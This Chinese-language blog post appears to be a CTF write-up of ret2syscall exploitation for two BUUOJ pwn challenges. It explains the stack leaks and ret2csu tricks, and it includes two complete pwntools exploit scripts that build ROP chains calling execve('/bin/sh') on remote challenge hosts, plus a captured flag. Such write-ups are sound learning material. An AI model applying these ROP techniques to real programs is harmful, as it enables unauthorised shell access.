ret2syscall

黎 浩然/ 15 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

ciscn_2019_s_3(x64)

不得不说这题真的很巧妙。通过asm进行系统调用使得程序没有可以泄漏的got表,在plt中也没有可以直接使用的动态链接函数。

所以要考虑构造rop链进入syscall。在x86中对应的int 80。需要设置rax为系统调用号,rdi, rsi, rdx分别为三个参数。注意我们要系统调用execve至少需要设置到rsi和rdx为0.

因此我们必须考虑将字符串/bin/sh打入栈中并泄漏栈的地址,由于程序中没有pop rdx ret的gadget,所以要考虑ret2csu,并且想办法绕过其中的间接调用。

我们必须总是假设栈的位置是随机的。由于vuln函数中write函数会尝试打印rsp附近的一些栈中的内容。我们需要在write的打印范围内找到一个可能与栈的位置有关的位置。然后根据它运行时候的值判断栈的位置。

write调用不会截断除了EOF外的任何字符。因此我们可以在读入固定数量的字符后就能确定运行时栈的位置。

可是最近的能泄漏栈地址的值还是不在write的范围内。此时我们留意到一个细节,那就是rsp处到地方在被覆盖之前还是可以泄漏栈的地址的,于是我想到以下方法。

先返回到main函数,再想办法泄漏栈的地址。 可以在再次进入write之前改变write的第三个参数,使其打印更多的栈内存。

等等,我好像发现了什么东西。。。

前面的payload写的有点问题,注意到vuln的最后是没有弹出rbp的。我觉得这是作者故意修改的汇编指令使得题目比较简单的,在修改第一阶段的payload后,我发现可以直接在第一次write泄漏处栈的地址了。

好家伙如果payload继续往下填充rsp/rbp + 8的那个位置(vuln+29那个位置),上面的红色部分就不能泄漏stack的地址。好吧我也不知道这是为什么。

好了我们现在能够泄漏处栈的地址了,栈中有/bin/sh了,并且我们能够重新进入main函数了。

不过经过测试发现。如果先打入/bin/sh,再次回到main的时候/bin/sh字符串被覆盖了。fuck!!!

原因是回到main函数再进入vuln函数的时候栈顶就会越过字符串了,所以可以直接考虑回到vuln。不过我这里的策略是先泄漏栈地址。回到main函数之后再打入字符串,然后直接rop返回到syscall。

如何构造syscall呢。除了设置rdi, rsi, rdx这三个参数要设置为/bin/sh的地址,0和0之外,还需要设置rax=59,然后进入syscall(32位则进入int 80)。前面提到ret2csu,但是其中有一个间接调用。所以我们干脆将一个gadget的地址送入栈中,这样子通过引用栈地址执行一次间接调用

from pwn import *

#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn', 25196)
elf = ELF('./ciscn_s_3')

main = elf.symbols['main']
syscall = 0x400501
push_59_rax_ret = 0x4004E2
pop_rdi_ret = 0x4005a3
mv_arg = 0x400580
pop6 = 0x40059a
ret = 0x4003a9

# leak stack
# if we send /bin/sh to stack now, it will be overwritten when return to main again
payload= b'b' * 0x10
payload+= p64(main)
p.sendline(payload)
p.recv(0x20)
stack = u64(p.recv(8))
print("stack: " + hex(stack))

#gdb.attach(p)
# send /bin/sh into stack
# count /bin/sh address first
binsh = stack - 0x128 - 0x10
print("binsh: " + hex(binsh))

# construct ret2syscall rop at the same time
# we need pass a indirect call in libc_csu_init 
# so we need send some instruction's addr to stack
# because we don't have any usable got
payload = b'/bin/sh\\x00'
payload+= p64(push_59_rax_ret)    # for libc_csu_init indirect call
payload+= p64(pop6) + p64(0) + p64(1) + p64(binsh+0x8) + p64(0) + p64(0) + p64(0)
payload+= p64(mv_arg) + b'a' * 56
payload+= p64(pop_rdi_ret) + p64(binsh)
payload+= p64(syscall)

p.sendline(payload)

cmcc_simplerop(x86)

同样是ropchain,只不过这次是32位的。注意32位的ret2syscall规范。使用int 80指令进入系统调用,eax存放调用号(11代表system),ebx,ecx,edx存放第一二三个参数。值得注意的是这题堆ropchain堆长度有很大的限制,所以不能直接使用ROPgadget,exp如下:

from pwn import *

#p = process('./simplerop')
p = remote('node3.buuoj.cn', 28396)
elf = ELF('./simplerop')

read = elf.symbols['read']
bss = elf.bss()

pop_edx_ecx_ebx_ret = 0x0806e850
pop_eax_ret = 0x080bae06
int_80 = 0x080493e1

payload = b'b' * 0x1C + b'b' * 0x04
payload+= p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(bss) + p32(0x8)
payload+= p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss)
payload+= p32(pop_eax_ret) + p32(11)
payload+= p32(int_80)

p.sendline(payload)
sleep(1)
p.sendline(b'/bin/sh\\x00')
p.interactive()

#flag{b1a09ca6-21d6-494c-9eaf-321c86da953c}

另外记得read函数不是系统调用所以参数要放在栈上。read后面的pop_edx_ecx_ebx_ret是为了将read的参数弹出栈,接着才能将栈上的为int 80准备的参数送入 eax、ebx、ecx和edx寄存器中。

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*